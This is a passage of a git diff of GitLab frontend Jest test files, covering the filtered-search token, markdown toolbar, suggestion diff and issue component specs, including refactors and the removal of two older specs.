+ wrapper = createComponent();
+ });
+
+ describe('fetchBranchBySearchTerm', () => {
+ it('calls `config.fetchBranches` with provided searchTerm param', () => {
+ jest.spyOn(wrapper.vm.config, 'fetchBranches');
+
+ wrapper.vm.fetchBranchBySearchTerm('foo');
+
+ expect(wrapper.vm.config.fetchBranches).toHaveBeenCalledWith('foo');
+ });
+
+ it('sets response to `branches` when request is succesful', () => {
+ jest.spyOn(wrapper.vm.config, 'fetchBranches').mockResolvedValue({ data: mockBranches });
+
+ wrapper.vm.fetchBranchBySearchTerm('foo');
+
+ return waitForPromises().then(() => {
+ expect(wrapper.vm.branches).toEqual(mockBranches);
+ });
+ });
+
+ it('calls `createFlash` with flash error message when request fails', () => {
+ jest.spyOn(wrapper.vm.config, 'fetchBranches').mockRejectedValue({});
+
+ wrapper.vm.fetchBranchBySearchTerm('foo');
+
+ return waitForPromises().then(() => {
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'There was a problem fetching branches.',
+ });
+ });
+ });
+
+ it('sets `loading` to false when request completes', () => {
+ jest.spyOn(wrapper.vm.config, 'fetchBranches').mockRejectedValue({});
+
+ wrapper.vm.fetchBranchBySearchTerm('foo');
+
+ return waitForPromises().then(() => {
+ expect(wrapper.vm.loading).toBe(false);
+ });
+ });
+ });
+ });
+
+ describe('template', () => {
+ const defaultBranches = [DEFAULT_LABEL_NONE, DEFAULT_LABEL_ANY];
+ async function showSuggestions() {
+ const tokenSegments = wrapper.findAll(GlFilteredSearchTokenSegment);
+ const suggestionsSegment = tokenSegments.at(2);
+ suggestionsSegment.vm.$emit('activate');
+ await wrapper.vm.$nextTick();
+ }
+
+ beforeEach(async () => {
+ wrapper = createComponent({ value: { data: mockBranches[0].name } });
+
+ wrapper.setData({
+ branches: mockBranches,
+ });
+
+ await wrapper.vm.$nextTick();
+ });
+
+ it('renders gl-filtered-search-token component', () => {
+ expect(wrapper.find(GlFilteredSearchToken).exists()).toBe(true);
+ });
+
+ it('renders token item when value is selected', () => {
+ const tokenSegments = wrapper.findAll(GlFilteredSearchTokenSegment);
+
+ expect(tokenSegments).toHaveLength(3);
+ expect(tokenSegments.at(2).text()).toBe(mockBranches[0].name);
+ });
+
+ it('renders provided defaultBranches as suggestions', async () => {
+ wrapper = createComponent({
+ active: true,
+ config: { ...mockBranchToken, defaultBranches },
+ stubs: { Portal: true },
+ });
+ await showSuggestions();
+ const suggestions = wrapper.findAll(GlFilteredSearchSuggestion);
+
+ expect(suggestions).toHaveLength(defaultBranches.length);
+ defaultBranches.forEach((branch, index) => {
+ expect(suggestions.at(index).text()).toBe(branch.text);
+ });
+ });
+
+ it('does not render divider when no defaultBranches', async () => {
+ wrapper = createComponent({
+ active: true,
+ config: { ...mockBranchToken, defaultBranches: [] },
+ stubs: { Portal: true },
+ });
+ await showSuggestions();
+
+ expect(wrapper.contains(GlFilteredSearchSuggestion)).toBe(false);
+ expect(wrapper.contains(GlDropdownDivider)).toBe(false);
+ });
+
+ it('renders no suggestions as default', async () => {
+ wrapper = createComponent({
+ active: true,
+ config: { ...mockBranchToken },
+ stubs: { Portal: true },
+ });
+ await showSuggestions();
+ const suggestions = wrapper.findAll(GlFilteredSearchSuggestion);
+
+ expect(suggestions).toHaveLength(0);
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/label_token_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/label_token_spec.js
index 0e60ee99327..3feb05bab35 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/label_token_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/label_token_spec.js
@@ -1,5 +1,10 @@
import { mount } from '@vue/test-utils';
-import { GlFilteredSearchToken, GlFilteredSearchTokenSegment } from '@gitlab/ui';
+import {
+ GlFilteredSearchToken,
+ GlFilteredSearchSuggestion,
+ GlFilteredSearchTokenSegment,
+ GlDropdownDivider,
+} from '@gitlab/ui';
import MockAdapter from 'axios-mock-adapter';
import waitForPromises from 'helpers/wait_for_promises';
import {
@@ -9,14 +14,34 @@ import {
import axios from '~/lib/utils/axios_utils';
import { deprecatedCreateFlash as createFlash } from '~/flash';
+import {
+ DEFAULT_LABELS,
+ DEFAULT_LABEL_NONE,
+ DEFAULT_LABEL_ANY,
+} from '~/vue_shared/components/filtered_search_bar/constants';
import LabelToken from '~/vue_shared/components/filtered_search_bar/tokens/label_token.vue';
import { mockLabelToken } from '../mock_data';
jest.mock('~/flash');
-
-const createComponent = ({ config = mockLabelToken, value = { data: '' }, active = false } = {}) =>
- mount(LabelToken, {
+const defaultStubs = {
+ Portal: true,
+ GlFilteredSearchSuggestionList: {
+ template: '<div></div>',
+ methods: {
+ getValue: () => '=',
+ },
+ },
+};
+
+function createComponent(options = {}) {
+ const {
+ config = mockLabelToken,
+ value = { data: '' },
+ active = false,
+ stubs = defaultStubs,
+ } = options;
+ return mount(LabelToken, {
propsData: {
config,
value,
@@ -26,18 +51,9 @@ const createComponent = ({ config = mockLabelToken, value = { data: '' }, active
portalName: 'fake target',
alignSuggestions: function fakeAlignSuggestions() {},
},
- stubs: {
- Portal: {
- template: '<div><slot></slot></div>',
- },
- GlFilteredSearchSuggestionList: {
- template: '<div></div>',
- methods: {
- getValue: () => '=',
- },
- },
- },
+ stubs,
});
+}
describe('LabelToken', () => {
let mock;
@@ -45,7 +61,6 @@ describe('LabelToken', () => {
beforeEach(() => {
mock = new MockAdapter(axios);
- wrapper = createComponent();
});
afterEach(() => {
@@ -98,6 +113,10 @@ describe('LabelToken', () => {
});
describe('methods', () => {
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
describe('fetchLabelBySearchTerm', () => {
it('calls `config.fetchLabels` with provided searchTerm param', () => {
jest.spyOn(wrapper.vm.config, 'fetchLabels');
@@ -140,6 +159,8 @@ describe('LabelToken', () => {
});
describe('template', () => {
+ const defaultLabels = [DEFAULT_LABEL_NONE, DEFAULT_LABEL_ANY];
+
beforeEach(async () => {
wrapper = createComponent({ value: { data: `"${mockRegularLabel.title}"` } });
@@ -166,5 +187,58 @@ describe('LabelToken', () => {
.attributes('style'),
).toBe('background-color: rgb(186, 218, 85); color: rgb(255, 255, 255);');
});
+
+ it('renders provided defaultLabels as suggestions', async () => {
+ wrapper = createComponent({
+ active: true,
+ config: { ...mockLabelToken, defaultLabels },
+ stubs: { Portal: true },
+ });
+ const tokenSegments = wrapper.findAll(GlFilteredSearchTokenSegment);
+ const suggestionsSegment = tokenSegments.at(2);
+ suggestionsSegment.vm.$emit('activate');
+ await wrapper.vm.$nextTick();
+
+ const suggestions = wrapper.findAll(GlFilteredSearchSuggestion);
+
+ expect(suggestions).toHaveLength(defaultLabels.length);
+ defaultLabels.forEach((label, index) => {
+ expect(suggestions.at(index).text()).toBe(label.text);
+ });
+ });
+
+ it('does not render divider when no defaultLabels', async () => {
+ wrapper = createComponent({
+ active: true,
+ config: { ...mockLabelToken, defaultLabels: [] },
+ stubs: { Portal: true },
+ });
+ const tokenSegments = wrapper.findAll(GlFilteredSearchTokenSegment);
+ const suggestionsSegment = tokenSegments.at(2);
+ suggestionsSegment.vm.$emit('activate');
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.contains(GlFilteredSearchSuggestion)).toBe(false);
+ expect(wrapper.contains(GlDropdownDivider)).toBe(false);
+ });
+
+ it('renders `DEFAULT_LABELS` as default suggestions', async () => {
+ wrapper = createComponent({
+ active: true,
+ config: { ...mockLabelToken },
+ stubs: { Portal: true },
+ });
+ const tokenSegments = wrapper.findAll(GlFilteredSearchTokenSegment);
+ const suggestionsSegment = tokenSegments.at(2);
+ suggestionsSegment.vm.$emit('activate');
+ await wrapper.vm.$nextTick();
+
+ const suggestions = wrapper.findAll(GlFilteredSearchSuggestion);
+
+ expect(suggestions).toHaveLength(DEFAULT_LABELS.length);
+ DEFAULT_LABELS.forEach((label, index) => {
+ expect(suggestions.at(index).text()).toBe(label.text);
+ });
+ });
});
});
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/milestone_token_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/milestone_token_spec.js
index de893bf44c8..0ec814e3f15 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/milestone_token_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/milestone_token_spec.js
@@ -1,10 +1,16 @@
import { mount } from '@vue/test-utils';
-import { GlFilteredSearchToken, GlFilteredSearchTokenSegment } from '@gitlab/ui';
+import {
+ GlFilteredSearchToken,
+ GlFilteredSearchSuggestion,
+ GlFilteredSearchTokenSegment,
+ GlDropdownDivider,
+} from '@gitlab/ui';
import MockAdapter from 'axios-mock-adapter';
import waitForPromises from 'helpers/wait_for_promises';
import axios from '~/lib/utils/axios_utils';
import createFlash from '~/flash';
+import { DEFAULT_MILESTONES } from '~/vue_shared/components/filtered_search_bar/constants';
import MilestoneToken from '~/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue';
import {
@@ -16,12 +22,24 @@ import {
jest.mock('~/flash');
-const createComponent = ({
- config = mockMilestoneToken,
- value = { data: '' },
- active = false,
-} = {}) =>
- mount(MilestoneToken, {
+const defaultStubs = {
+ Portal: true,
+ GlFilteredSearchSuggestionList: {
+ template: '<div></div>',
+ methods: {
+ getValue: () => '=',
+ },
+ },
+};
+
+function createComponent(options = {}) {
+ const {
+ config = mockMilestoneToken,
+ value = { data: '' },
+ active = false,
+ stubs = defaultStubs,
+ } = options;
+ return mount(MilestoneToken, {
propsData: {
config,
value,
@@ -31,18 +49,9 @@ const createComponent = ({
portalName: 'fake target',
alignSuggestions: function fakeAlignSuggestions() {},
},
- stubs: {
- Portal: {
- template: '<div><slot></slot></div>',
- },
- GlFilteredSearchSuggestionList: {
- template: '<div></div>',
- methods: {
- getValue: () => '=',
- },
- },
- },
+ stubs,
});
+}
describe('MilestoneToken', () => {
let mock;
@@ -128,6 +137,8 @@ describe('MilestoneToken', () => {
});
describe('template', () => {
+ const defaultMilestones = [{ text: 'foo', value: 'foo' }, { text: 'bar', value: 'baz' }];
+
beforeEach(async () => {
wrapper = createComponent({ value: { data: `"${mockRegularMilestone.title}"` } });
@@ -146,7 +157,60 @@ describe('MilestoneToken', () => {
const tokenSegments = wrapper.findAll(GlFilteredSearchTokenSegment);
expect(tokenSegments).toHaveLength(3); // Milestone, =, '%"4.0"'
- expect(tokenSegments.at(2).text()).toBe(`%"${mockRegularMilestone.title}"`); // "4.0 RC1"
+ expect(tokenSegments.at(2).text()).toBe(`%${mockRegularMilestone.title}`); // "4.0 RC1"
+ });
+
+ it('renders provided defaultMilestones as suggestions', async () => {
+ wrapper = createComponent({
+ active: true,
+ config: { ...mockMilestoneToken, defaultMilestones },
+ stubs: { Portal: true },
+ });
+ const tokenSegments = wrapper.findAll(GlFilteredSearchTokenSegment);
+ const suggestionsSegment = tokenSegments.at(2);
+ suggestionsSegment.vm.$emit('activate');
+ await wrapper.vm.$nextTick();
+
+ const suggestions = wrapper.findAll(GlFilteredSearchSuggestion);
+
+ expect(suggestions).toHaveLength(defaultMilestones.length);
+ defaultMilestones.forEach((milestone, index) => {
+ expect(suggestions.at(index).text()).toBe(milestone.text);
+ });
+ });
+
+ it('does not render divider when no defaultMilestones', async () => {
+ wrapper = createComponent({
+ active: true,
+ config: { ...mockMilestoneToken, defaultMilestones: [] },
+ stubs: { Portal: true },
+ });
+ const tokenSegments = wrapper.findAll(GlFilteredSearchTokenSegment);
+ const suggestionsSegment = tokenSegments.at(2);
+ suggestionsSegment.vm.$emit('activate');
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.contains(GlFilteredSearchSuggestion)).toBe(false);
+ expect(wrapper.contains(GlDropdownDivider)).toBe(false);
+ });
+
+ it('renders `DEFAULT_MILESTONES` as default suggestions', async () => {
+ wrapper = createComponent({
+ active: true,
+ config: { ...mockMilestoneToken },
+ stubs: { Portal: true },
+ });
+ const tokenSegments = wrapper.findAll(GlFilteredSearchTokenSegment);
+ const suggestionsSegment = tokenSegments.at(2);
+ suggestionsSegment.vm.$emit('activate');
+ await wrapper.vm.$nextTick();
+
+ const suggestions = wrapper.findAll(GlFilteredSearchSuggestion);
+
+ expect(suggestions).toHaveLength(DEFAULT_MILESTONES.length);
+ DEFAULT_MILESTONES.forEach((milestone, index) => {
+ expect(suggestions.at(index).text()).toBe(milestone.text);
+ });
});
});
});
diff --git a/spec/frontend/vue_shared/components/filtered_search_dropdown_spec.js b/spec/frontend/vue_shared/components/filtered_search_dropdown_spec.js
deleted file mode 100644
index 87cafa0bb8c..00000000000
--- a/spec/frontend/vue_shared/components/filtered_search_dropdown_spec.js
+++ /dev/null
@@ -1,190 +0,0 @@
-import Vue from 'vue';
-import mountComponent from 'helpers/vue_mount_component_helper';
-import component from '~/vue_shared/components/filtered_search_dropdown.vue';
-
-describe('Filtered search dropdown', () => {
- const Component = Vue.extend(component);
- let vm;
-
- afterEach(() => {
- vm.$destroy();
- });
-
- describe('with an empty array of items', () => {
- beforeEach(() => {
- vm = mountComponent(Component, {
- items: [],
- filterKey: '',
- });
- });
-
- it('renders empty list', () => {
- expect(vm.$el.querySelectorAll('.js-filtered-dropdown-result').length).toEqual(0);
- });
-
- it('renders filter input', () => {
- expect(vm.$el.querySelector('.js-filtered-dropdown-input')).not.toBeNull();
- });
- });
-
- describe('when visible numbers is less than the items length', () => {
- beforeEach(() => {
- vm = mountComponent(Component, {
- items: [{ title: 'One' }, { title: 'Two' }, { title: 'Three' }],
- visibleItems: 2,
- filterKey: 'title',
- });
- });
-
- it('it renders only the maximum number provided', () => {
- expect(vm.$el.querySelectorAll('.js-filtered-dropdown-result').length).toEqual(2);
- });
- });
-
- describe('when visible number is bigger than the items length', () => {
- beforeEach(() => {
- vm = mountComponent(Component, {
- items: [{ title: 'One' }, { title: 'Two' }, { title: 'Three' }],
- filterKey: 'title',
- });
- });
-
- it('it renders the full list of items the maximum number provided', () => {
- expect(vm.$el.querySelectorAll('.js-filtered-dropdown-result').length).toEqual(3);
- });
- });
-
- describe('while filtering', () => {
- beforeEach(() => {
- vm = mountComponent(Component, {
- items: [
- { title: 'One' },
- { title: 'Two/three' },
- { title: 'Three four' },
- { title: 'Five' },
- ],
- filterKey: 'title',
- });
- });
-
- it('updates the results to match the typed value', done => {
- vm.$el.querySelector('.js-filtered-dropdown-input').value = 'three';
- vm.$el.querySelector('.js-filtered-dropdown-input').dispatchEvent(new Event('input'));
- vm.$nextTick(() => {
- expect(vm.$el.querySelectorAll('.js-filtered-dropdown-result').length).toEqual(2);
- done();
- });
- });
-
- describe('when no value matches the typed one', () => {
- it('does not render any result', done => {
- vm.$el.querySelector('.js-filtered-dropdown-input').value = 'six';
- vm.$el.querySelector('.js-filtered-dropdown-input').dispatchEvent(new Event('input'));
-
- vm.$nextTick(() => {
- expect(vm.$el.querySelectorAll('.js-filtered-dropdown-result').length).toEqual(0);
- done();
- });
- });
- });
- });
-
- describe('with create mode enabled', () => {
- describe('when there are no matches', () => {
- beforeEach(() => {
- vm = mountComponent(Component, {
- items: [
- { title: 'One' },
- { title: 'Two/three' },
- { title: 'Three four' },
- { title: 'Five' },
- ],
- filterKey: 'title',
- showCreateMode: true,
- });
-
- vm.$el.querySelector('.js-filtered-dropdown-input').value = 'eleven';
- vm.$el.querySelector('.js-filtered-dropdown-input').dispatchEvent(new Event('input'));
- });
-
- it('renders a create button', done => {
- vm.$nextTick(() => {
- expect(vm.$el.querySelector('.js-dropdown-create-button')).not.toBeNull();
- done();
- });
- });
-
- it('renders computed button text', done => {
- vm.$nextTick(() => {
- expect(vm.$el.querySelector('.js-dropdown-create-button').textContent.trim()).toEqual(
- 'Create eleven',
- );
- done();
- });
- });
-
- describe('on click create button', () => {
- it('emits createItem event with the filter', done => {
- jest.spyOn(vm, '$emit').mockImplementation(() => {});
- vm.$nextTick(() => {
- vm.$el.querySelector('.js-dropdown-create-button').click();
-
- expect(vm.$emit).toHaveBeenCalledWith('createItem', 'eleven');
- done();
- });
- });
- });
- });
-
- describe('when there are matches', () => {
- beforeEach(() => {
- vm = mountComponent(Component, {
- items: [
- { title: 'One' },
- { title: 'Two/three' },
- { title: 'Three four' },
- { title: 'Five' },
- ],
- filterKey: 'title',
- showCreateMode: true,
- });
-
- vm.$el.querySelector('.js-filtered-dropdown-input').value = 'one';
- vm.$el.querySelector('.js-filtered-dropdown-input').dispatchEvent(new Event('input'));
- });
-
- it('does not render a create button', done => {
- vm.$nextTick(() => {
- expect(vm.$el.querySelector('.js-dropdown-create-button')).toBeNull();
- done();
- });
- });
- });
- });
-
- describe('with create mode disabled', () => {
- describe('when there are no matches', () => {
- beforeEach(() => {
- vm = mountComponent(Component, {
- items: [
- { title: 'One' },
- { title: 'Two/three' },
- { title: 'Three four' },
- { title: 'Five' },
- ],
- filterKey: 'title',
- });
-
- vm.$el.querySelector('.js-filtered-dropdown-input').value = 'eleven';
- vm.$el.querySelector('.js-filtered-dropdown-input').dispatchEvent(new Event('input'));
- });
-
- it('does not render a create button', done => {
- vm.$nextTick(() => {
- expect(vm.$el.querySelector('.js-dropdown-create-button')).toBeNull();
- done();
- });
- });
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/icon_spec.js b/spec/frontend/vue_shared/components/icon_spec.js
deleted file mode 100644
index 16728e1705a..00000000000
--- a/spec/frontend/vue_shared/components/icon_spec.js
+++ /dev/null
@@ -1,78 +0,0 @@
-import Vue from 'vue';
-import { mount } from '@vue/test-utils';
-import mountComponent from 'helpers/vue_mount_component_helper';
-import iconsPath from '@gitlab/svgs/dist/icons.svg';
-import Icon from '~/vue_shared/components/icon.vue';
-
-jest.mock('@gitlab/svgs/dist/icons.svg', () => 'testing');
-
-describe('Sprite Icon Component', () => {
- describe('Initialization', () => {
- let icon;
-
- beforeEach(() => {
- const IconComponent = Vue.extend(Icon);
-
- icon = mountComponent(IconComponent, {
- name: 'commit',
- size: 32,
- });
- });
-
- afterEach(() => {
- icon.$destroy();
- });
-
- it('should return a defined Vue component', () => {
- expect(icon).toBeDefined();
- });
-
- it('should have <svg> as a child element', () => {
- expect(icon.$el.tagName).toBe('svg');
- });
-
- it('should have <use> as a child element with the correct href', () => {
- expect(icon.$el.firstChild.tagName).toBe('use');
- expect(icon.$el.firstChild.getAttribute('xlink:href')).toBe(`${iconsPath}#commit`);
- });
-
- it('should properly compute iconSizeClass', () => {
- expect(icon.iconSizeClass).toBe('s32');
- });
-
- it('forbids invalid size prop', () => {
- expect(icon.$options.props.size.validator(NaN)).toBeFalsy();
- expect(icon.$options.props.size.validator(0)).toBeFalsy();
- expect(icon.$options.props.size.validator(9001)).toBeFalsy();
- });
-
- it('should properly render img css', () => {
- const { classList } = icon.$el;
- const containsSizeClass = classList.contains('s32');
-
- expect(containsSizeClass).toBe(true);
- });
-
- it('`name` validator should return false for non existing icons', () => {
- jest.spyOn(console, 'warn').mockImplementation();
-
- expect(Icon.props.name.validator('non_existing_icon_sprite')).toBe(false);
- });
-
- it('`name` validator should return true for existing icons', () => {
- expect(Icon.props.name.validator('commit')).toBe(true);
- });
- });
-
- it('should call registered listeners when they are triggered', () => {
- const clickHandler = jest.fn();
- const wrapper = mount(Icon, {
- propsData: { name: 'commit' },
- listeners: { click: clickHandler },
- });
-
- wrapper.find('svg').trigger('click');
-
- expect(clickHandler).toHaveBeenCalled();
- });
-});
diff --git a/spec/frontend/vue_shared/components/issue/issue_milestone_spec.js b/spec/frontend/vue_shared/components/issue/issue_milestone_spec.js
index b72f78c4f60..c87d19df1f7 100644
--- a/spec/frontend/vue_shared/components/issue/issue_milestone_spec.js
+++ b/spec/frontend/vue_shared/components/issue/issue_milestone_spec.js
@@ -2,8 +2,8 @@ import Vue from 'vue';
import { shallowMount } from '@vue/test-utils';
import { mockMilestone } from 'jest/boards/mock_data';
+import { GlIcon } from '@gitlab/ui';
import IssueMilestone from '~/vue_shared/components/issue/issue_milestone.vue';
-import Icon from '~/vue_shared/components/icon.vue';
const createComponent = (milestone = mockMilestone) => {
const Component = Vue.extend(IssueMilestone);
@@ -135,7 +135,7 @@ describe('IssueMilestoneComponent', () => {
});
it('renders milestone icon', () => {
- expect(wrapper.find(Icon).props('name')).toBe('clock');
+ expect(wrapper.find(GlIcon).props('name')).toBe('clock');
});
it('renders milestone title', () => {
diff --git a/spec/frontend/vue_shared/components/issue/related_issuable_item_spec.js b/spec/frontend/vue_shared/components/issue/related_issuable_item_spec.js
index fb9487d0bf8..2319bf61482 100644
--- a/spec/frontend/vue_shared/components/issue/related_issuable_item_spec.js
+++ b/spec/frontend/vue_shared/components/issue/related_issuable_item_spec.js
@@ -35,6 +35,9 @@ describe('RelatedIssuableItem', () => {
weight: '<div class="js-weight-slot"></div>',
};
+ const findRemoveButton = () => wrapper.find({ ref: 'removeButton' });
+ const findLockIcon = () => wrapper.find({ ref: 'lockIcon' });
+
beforeEach(() => {
mountComponent({ props, slots });
});
@@ -121,10 +124,10 @@ describe('RelatedIssuableItem', () => {
});
it('renders milestone icon and name', () => {
- const milestoneIcon = tokenMetadata().find('.item-milestone svg use');
+ const milestoneIcon = tokenMetadata().find('.item-milestone svg');
const milestoneTitle = tokenMetadata().find('.item-milestone .milestone-title');
- expect(milestoneIcon.attributes('href')).toContain('clock');
+ expect(milestoneIcon.attributes('data-testid')).toBe('clock-icon');
expect(milestoneTitle.text()).toContain('Milestone title');
});
@@ -143,25 +146,27 @@ describe('RelatedIssuableItem', () => {
});
describe('remove button', () => {
- const removeButton = () => wrapper.find({ ref: 'removeButton' });
-
beforeEach(() => {
wrapper.setProps({ canRemove: true });
});
it('renders if canRemove', () => {
- expect(removeButton().exists()).toBe(true);
+ expect(findRemoveButton().exists()).toBe(true);
+ });
+
+ it('does not render the lock icon', () => {
+ expect(findLockIcon().exists()).toBe(false);
});
it('renders disabled button when removeDisabled', async () => {
wrapper.setData({ removeDisabled: true });
await wrapper.vm.$nextTick();
- expect(removeButton().attributes('disabled')).toEqual('disabled');
+ expect(findRemoveButton().attributes('disabled')).toEqual('disabled');
});
it('triggers onRemoveRequest when clicked', async () => {
- removeButton().trigger('click');
+ findRemoveButton().trigger('click');
await wrapper.vm.$nextTick();
const { relatedIssueRemoveRequest } = wrapper.emitted();
@@ -169,4 +174,23 @@ describe('RelatedIssuableItem', () => {
expect(relatedIssueRemoveRequest[0]).toEqual([props.idKey]);
});
});
+
+ describe('when issue is locked', () => {
+ const lockedMessage = 'Issues created from a vulnerability cannot be removed';
+
+ beforeEach(() => {
+ wrapper.setProps({
+ isLocked: true,
+ lockedMessage,
+ });
+ });
+
+ it('does not render the remove button', () => {
+ expect(findRemoveButton().exists()).toBe(false);
+ });
+
+ it('renders the lock icon with the correct title', () => {
+ expect(findLockIcon().attributes('title')).toBe(lockedMessage);
+ });
+ });
});
diff --git a/spec/frontend/vue_shared/components/markdown/header_spec.js b/spec/frontend/vue_shared/components/markdown/header_spec.js
index 551d781d296..82bc9b9fe08 100644
--- a/spec/frontend/vue_shared/components/markdown/header_spec.js
+++ b/spec/frontend/vue_shared/components/markdown/header_spec.js
@@ -22,6 +22,12 @@ describe('Markdown field header component', () => {
.at(0);
beforeEach(() => {
+ window.gl = {
+ client: {
+ isMac: true,
+ },
+ };
+
createWrapper();
});
@@ -30,24 +36,40 @@ describe('Markdown field header component', () => {
wrapper = null;
});
- it('renders markdown header buttons', () => {
- const buttons = [
- 'Add bold text',
- 'Add italic text',
- 'Insert a quote',
- 'Insert suggestion',
- 'Insert code',
- 'Add a link',
- 'Add a bullet list',
- 'Add a numbered list',
- 'Add a task list',
- 'Add a table',
- 'Go full screen',
- ];
- const elements = findToolbarButtons();
-
- elements.wrappers.forEach((buttonEl, index) => {
- expect(buttonEl.props('buttonTitle')).toBe(buttons[index]);
+ describe('markdown header buttons', () => {
+ it('renders the buttons with the correct title', () => {
+ const buttons = [
+ 'Add bold text (⌘B)',
+ 'Add italic text (⌘I)',
+ 'Insert a quote',
+ 'Insert suggestion',
+ 'Insert code',
+ 'Add a link (⌘K)',
+ 'Add a bullet list',
+ 'Add a numbered list',
+ 'Add a task list',
+ 'Add a table',
+ 'Go full screen',
+ ];
+ const elements = findToolbarButtons();
+
+ elements.wrappers.forEach((buttonEl, index) => {
+ expect(buttonEl.props('buttonTitle')).toBe(buttons[index]);
+ });
+ });
+
+ describe('when the user is on a non-Mac', () => {
+ beforeEach(() => {
+ delete window.gl.client.isMac;
+
+ createWrapper();
+ });
+
+ it('renders keyboard shortcuts with Ctrl+ instead of ⌘', () => {
+ const boldButton = findToolbarButtonByProp('icon', 'bold');
+
+ expect(boldButton.props('buttonTitle')).toBe('Add bold text (Ctrl+B)');
+ });
});
});
diff --git a/spec/frontend/vue_shared/components/markdown/suggestion_diff_header_spec.js b/spec/frontend/vue_shared/components/markdown/suggestion_diff_header_spec.js
index c6e147899e4..a521668b15c 100644
--- a/spec/frontend/vue_shared/components/markdown/suggestion_diff_header_spec.js
+++ b/spec/frontend/vue_shared/components/markdown/suggestion_diff_header_spec.js
@@ -77,10 +77,7 @@ describe('Suggestion Diff component', () => {
});
it('emits apply', () => {
- expect(wrapper.emittedByOrder()).toContainEqual({
- name: 'apply',
- args: [expect.any(Function)],
- });
+ expect(wrapper.emitted().apply).toEqual([[expect.any(Function)]]);
});
it('does not render apply suggestion and add to batch buttons', () => {
@@ -111,10 +108,7 @@ describe('Suggestion Diff component', () => {
findAddToBatchButton().vm.$emit('click');
- expect(wrapper.emittedByOrder()).toContainEqual({
- name: 'addToBatch',
- args: [],
- });
+ expect(wrapper.emitted().addToBatch).toEqual([[]]);
});
});
@@ -124,10 +118,7 @@ describe('Suggestion Diff component', () => {
findRemoveFromBatchButton().vm.$emit('click');
- expect(wrapper.emittedByOrder()).toContainEqual({
- name: 'removeFromBatch',
- args: [],
- });
+ expect(wrapper.emitted().removeFromBatch).toEqual([[]]);
});
});
@@ -137,10 +128,7 @@ describe('Suggestion Diff component', () => {
findApplyBatchButton().vm.$emit('click');
- expect(wrapper.emittedByOrder()).toContainEqual({
- name: 'applyBatch',
- args: [],
- });
+ expect(wrapper.emitted().applyBatch).toEqual([[]]);
});
});
diff --git a/spec/frontend/vue_shared/components/markdown/suggestion_diff_row_spec.js b/spec/frontend/vue_shared/components/markdown/suggestion_diff_row_spec.js
index 6ae405017c9..b67f4cf12bf 100644
--- a/spec/frontend/vue_shared/components/markdown/suggestion_diff_row_spec.js
+++ b/spec/frontend/vue_shared/components/markdown/suggestion_diff_row_spec.js
@@ -34,12 +34,25 @@ describe('SuggestionDiffRow', () => {
const findOldLineWrapper = () => wrapper.find('.old_line');
const findNewLineWrapper = () => wrapper.find('.new_line');
+ const findSuggestionContent = () => wrapper.find('[data-testid="suggestion-diff-content"]');
afterEach(() => {
wrapper.destroy();
});
describe('renders correctly', () => {
+ it('renders the correct base suggestion markup', () => {
+ factory({
+ propsData: {
+ line: oldLine,
+ },
+ });
+
+ expect(findSuggestionContent().html()).toBe(
+ '<td data-testid="suggestion-diff-content" class="line_content old"><span class="line">oldrichtext</span></td>',
+ );
+ });
+
it('has the right classes on the wrapper', () => {
factory({
propsData: {
@@ -47,7 +60,12 @@ describe('SuggestionDiffRow', () => {
},
});
- expect(wrapper.is('.line_holder')).toBe(true);
+ expect(wrapper.classes()).toContain('line_holder');
+ expect(
+ findSuggestionContent()
+ .find('span')
+ .classes(),
+ ).toContain('line');
});
it('renders the rich text when it is available', () => {
diff --git a/spec/frontend/vue_shared/components/markdown/toolbar_button_spec.js b/spec/frontend/vue_shared/components/markdown/toolbar_button_spec.js
new file mode 100644
index 00000000000..8a7946fd7b1
--- /dev/null
+++ b/spec/frontend/vue_shared/components/markdown/toolbar_button_spec.js
@@ -0,0 +1,47 @@
+import { shallowMount } from '@vue/test-utils';
+import ToolbarButton from '~/vue_shared/components/markdown/toolbar_button.vue';
+
+describe('toolbar_button', () => {
+ let wrapper;
+
+ const defaultProps = {
+ buttonTitle: 'test button',
+ icon: 'rocket',
+ tag: 'test tag',
+ };
+
+ const createComponent = propUpdates => {
+ wrapper = shallowMount(ToolbarButton, {
+ propsData: {
+ ...defaultProps,
+ ...propUpdates,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ const getButtonShortcutsAttr = () => {
+ return wrapper.find('button').attributes('data-md-shortcuts');
+ };
+
+ describe('keyboard shortcuts', () => {
+ it.each`
+ shortcutsProp | mdShortcutsAttr
+ ${undefined} | ${JSON.stringify([])}
+ ${[]} | ${JSON.stringify([])}
+ ${'command+b'} | ${JSON.stringify(['command+b'])}
+ ${['command+b', 'ctrl+b']} | ${JSON.stringify(['command+b', 'ctrl+b'])}
+ `(
+ 'adds the attribute data-md-shortcuts="$mdShortcutsAttr" to the button when the shortcuts prop is $shortcutsProp',
+ ({ shortcutsProp, mdShortcutsAttr }) => {
+ createComponent({ shortcuts: shortcutsProp });
+
+ expect(getButtonShortcutsAttr()).toBe(mdShortcutsAttr);
+ },
+ );
+ });
+});
diff --git a/spec/frontend/vue_shared/components/notes/noteable_warning_spec.js b/spec/frontend/vue_shared/components/notes/noteable_warning_spec.js
index ae8c9a0928e..61660f79b71 100644
--- a/spec/frontend/vue_shared/components/notes/noteable_warning_spec.js
+++ b/spec/frontend/vue_shared/components/notes/noteable_warning_spec.js
@@ -1,11 +1,11 @@
import { shallowMount } from '@vue/test-utils';
+import { GlIcon } from '@gitlab/ui';
import NoteableWarning from '~/vue_shared/components/notes/noteable_warning.vue';
-import Icon from '~/vue_shared/components/icon.vue';
describe('Issue Warning Component', () => {
let wrapper;
- const findIcon = (w = wrapper) => w.find(Icon);
+ const findIcon = (w = wrapper) => w.find(GlIcon);
